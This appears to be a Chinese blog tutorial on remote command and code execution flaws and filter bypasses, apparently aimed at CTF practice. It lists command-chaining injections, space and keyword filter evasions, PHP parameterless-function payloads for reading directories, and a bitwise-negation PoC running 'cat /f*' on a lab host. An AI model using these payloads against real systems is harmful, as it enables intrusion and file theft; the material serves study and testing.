rce漏洞介绍及其绕过教程

2024-03-29 952 0

介绍

RCE漏洞,通过不安全的api接口,可以让攻击者远程在系统平台中执行恶意命令和代码。

场景实例

假设小明是攻击者,小红是受害者,小红的网站www.自动运维.com存在RCE漏洞。那么小明有如下攻击手段

  1. 小明探测到网站www.自动运维.com一个ping命令接口存在RCE漏洞

  2. 小明在接口输入框中输入ping ip || ls ,因为命令接口没有严格的过滤和限制,那么系统在执行ping命令后也会执行ls命令,照成目录泄露

  3. 小明在通过ping ip || 下载脚本命令等其他下载命令,下载恶意脚本,使小红的网站被小明控制

重点

RCE漏洞利用的两个前提条件:可控的参数,函数漏洞*

漏洞类型

  1. 远程命令执行漏洞

  2. 远程代码执行漏洞

  3. 无参函数rce

  4. 无回显rce

检测方法

  1. 检测url

  2. 检测危险函数

常见的命令拼接符

  1. windows

“|”:管道符,前面命令标准输出,后面命令的标准输入。例如:help |more
“&” commandA & commandB 先运行命令A,然后运行命令B
“||” commandA || commandB 运行命令A,如果失败则运行命令B
“&&” commandA && commandB 运行命令A,如果成功则运行命令B
  1. linux

;没有任何逻辑关系的连接符
 && 左边的命令执行成功,右边的才执行 cp 1.txt 2.txt && cat 2.txt
 | 上一条命令的输出,作为下一条命令参数 netstat -an|grep 3306
 || 左边的命令执行失败,右边的才执行 cat 3.txt || cat 2.txt
 & 任务后台执行,与nohup命令功能差不多 java -jar test.jar > log.txt &

rce过滤绕过

rce过滤空格绕过方法

  1. ${IFS}代替空格

  2. +代替空格

  3. %09代替空格

  4. %0b代替空格

  5. $IFS代替空格

  6. 用  $IFS$9代替空格

  7. $IFS$1代替空格

  8. 用 重定向符<<<来代替空格,eg:cat file->cat<file

rce过滤字符绕过方法

  1. 用 \ 绕过 eg: cat -> c\at

  2. 用 ` 绕过 eg:cat -> ` cat `

  3. 用 '' 绕过 eg:cat -> c''at

  4. 用 $ 绕过(字符拼接法) eg:flag -> a=f;$alag

  5. 如果过滤了;字符串,可以用%0a,%0d,%0D%0A来代替

  6. 用base编码绕过 eg:

cat命令代替

shell 解释
tac 与cat相反,按行反向输出
more 按页显示,用于文件内容较多且不能滚动屏幕时查看文件
less 与more类似
tail 查看文件末几行
head 查看文件首几行
nl 在cat查看文件的基础上显示行号
od 以二进制方式读文件,od -A d -c /flag转人可读字符
xxd 以二进制方式读文件,同时有可读字符显示
sort 排序文件
uniq 报告或删除文件的重复行
file -f 报错文件内容
grep 过滤查找字符串,grep flag /flag
fmt 输出内容
diff 比较文本不同,并且输出
awk 输出处理后的文本
sed
column
comm

正则表达式绕过

[ (空格) + .会被正则表达式处理为_

无参数rce绕过

当php函数有如下的过滤条件时

if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {  
    eval($_GET['code']);
}

注入的函数只能是没有参数的函数,eg:phpinfo(),var_dump()

php常用内置无参函数:

end() - 读取数组最后一个元素  
    localeconv() – 函数返回一个包含本地数字及货币格式信息的数组 第一个是.
    pos() – 返回数组中的当前单元, 默认取第一个值
    next() – 将内部指针指向数组下一个元素并输出
    scandir() – 扫描目录
    array_reverse() – 翻转数组
    array_flip() - 键名与数组值对调
    readfile()
    array_rand() - 随机读取键名
    var_dump() - 输出数组,可以用print_r替代
    file_get_contents() - 读取文件内容,show_source,highlight_file echo 可代替
    get_defined_vars() -  返回由所有已定义变量所组成的数组
    current() - 读取数组的第一个元素
    phpinfo() -显示php详细内容

php数组操作常用无参函数

end() : 将内部指针指向数组中的最后一个元素,并输出
next() :将内部指针指向数组中的下一个元素,并输出
prev() :将内部指针指向数组中的上一个元素,并输出
reset() : 将内部指针指向数组中的第一个元素,并输出
each() : 返回当前元素的键名和键值,并将内部指针向前移动

无参数payload

1. ?参数=var_dump(scandir(current(localeconv())));
2. highlight_file(array_rand(array_flip(scandir(getcwd())))); //查看和读取当前目录文件
3. print_r(scandir(next(scandir(getcwd()))));  //查看上一级目录的文件
4. show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd()))))))); //读取上级目录文件
5. show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(getcwd())))))))))));//读取上级目录文件
6. show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion())))))))))))))));//读取上级目录文件
7. show_source(array_rand(array_flip(scandir(chr(current(localtime(time(chdir(next(scandir(current(localeconv()))))))))))));//这个得爆破,不然手动要刷新很久,如果文件是正数或倒数第一个第二个最好不过了,直接定位

无字母rce

常规的无字母RCE主要有三种方式:

  1. 异或

  2. 自增

  3. 取反
    原理: 利用两次取反操作后得到的结果都是相同的,该方式需要对payload进行url编码

// 取反poc
<?php
$a = urlencode(~"system");


$b = urlencode(~"cat /f*");


$wllm ="(~$a)(~$b)";
// echo $b."\n";


$url = "http://node5.anna.nssctf.cn:28996/?wllm=$wllm;";


echo"poc是".$url;


?>

思维导图

rce漏洞介绍及其绕过教程插图

资料

教程1

rce linuxbypass

rce绕过教程

rce自动化工具commix使用教程

rce无参绕过


4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

电力企业 | 安全建设框架
HTB-Infiltrator:一文带你走进域渗透
JAVA安全 | Classloader:理解与利用一篇就够了
多角度揭秘威胁行为组织CryptoCore复杂的加密货币欺诈活动
网络空间的“边水往事”?针对华语黑产及用户进行攻击的 APT-K-UN3 活动分析
伪装“黑神话悟空修改器”传播木马的活动分析

发布评论